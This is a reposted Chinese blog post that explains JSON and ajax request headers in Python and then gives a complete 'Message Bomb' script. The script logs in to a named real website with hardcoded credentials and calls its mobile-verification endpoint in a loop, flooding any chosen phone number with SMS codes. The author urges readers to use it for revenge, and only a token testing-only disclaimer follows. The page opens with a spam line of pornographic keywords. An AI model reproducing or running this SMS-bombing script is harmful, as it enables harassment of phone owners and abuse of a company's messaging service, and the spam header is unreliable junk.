日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > python >内容正文

python

python模拟ajax请求_短信炸弹—用Python模拟ajax请求

發(fā)布時間:2023/12/15 python 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python模拟ajax请求_短信炸弹—用Python模拟ajax请求 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

我們經(jīng)常使用各種腳本發(fā)送網(wǎng)絡(luò)請求,提交各種形式的body數(shù)據(jù),所以Content-Type的類型也有很多種。

常見的取值有:

application/xml : 在 XML RPC,如 RESTful/SOAP 調(diào)用時使用

application/json : 在 JSON RPC 調(diào)用時使用

application/x-www-form-urlencoded : 瀏覽器提交 Web 表單時使用

Content-Type : 在使用 REST 接口時,服務(wù)器會檢查該值,用來確定 HTTP Body 中的內(nèi)容該怎樣解析。

在提交web表單數(shù)據(jù)時,Body中的數(shù)據(jù)格式要和Content-Type的值類型一致,如果Content-Type 設(shè)置錯誤會導(dǎo)致服務(wù)器拒絕服務(wù)

還有些網(wǎng)站的數(shù)據(jù)需要通過ajax來請求獲得,ajax請求在發(fā)起請求之前必須設(shè)置必要的http頭,還需要將請求數(shù)據(jù)封裝為json格式。

下面的腳本代碼就是這種情況,將請求數(shù)據(jù)封裝為json格式:

req.add_header('Content-Type', 'application/json')

然后設(shè)置ajax請求形式的請求頭:

req.add_header('X-Requested-With','XMLHttpRequest')

#-*-coding:utf-8-*-

#!/usr/bin/python

#

# Message Bomb v1.0

#From: sb.f4ck.net By: xfkxfk

#

import json

import urllib2

import sys

def request_ajax_url(url,body,referer=None,cookie=None,**headers):

req = urllib2.Request(url)

req.add_header('Content-Type', 'application/json')

req.add_header('X-Requested-With','XMLHttpRequest')

if cookie:

req.add_header('Cookie',cookie)

if referer:

req.add_header('Referer',referer)

if headers:

for k in headers.keys():

req.add_header(k,headers[k])

postBody = json.dumps(body)

response = urllib2.urlopen(req, postBody)

if response:

return response

def run():

import time

"use username:xfkxfk; use password:123456"

login_url = 'http://www.lusen.com/member/Login.aspx'

login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}

login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"

url = 'http://www.lusen.com/Member/MobileValidate.aspx'

referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx"

headers = {}

response = request_ajax_url(login_url,login_body,login_referer)

if response.read() == "1":

print " Login Success !!!"

if response.headers.has_key('set-cookie'):

set_cookie = response.headers['set-cookie']

else :

print " Get set-cookie Failed !!! May Send Messages Failed ~~~"

if len(sys.argv) < 3:

print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"

sys.exit()

mobile_number = sys.argv[1]

count = sys.argv[2]

body = {"action":"GetValidateCode","Mobile":mobile_number}

i=0

while i < int(count):

response = request_ajax_url(url,body,referer,set_cookie)

i=i+1

if response.read() == "發(fā)送成功":

print " Send " + count + " Messages To " + mobile_number + " !!!"

if __name__ == "__main__":

run()

大家有仇報仇有怨抱怨啊

(Freebuf溫馨提示:僅供安全測試之用,禁止非法用途)

總結(jié)

以上是生活随笔為你收集整理的python模拟ajax请求_短信炸弹—用Python模拟ajax请求的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。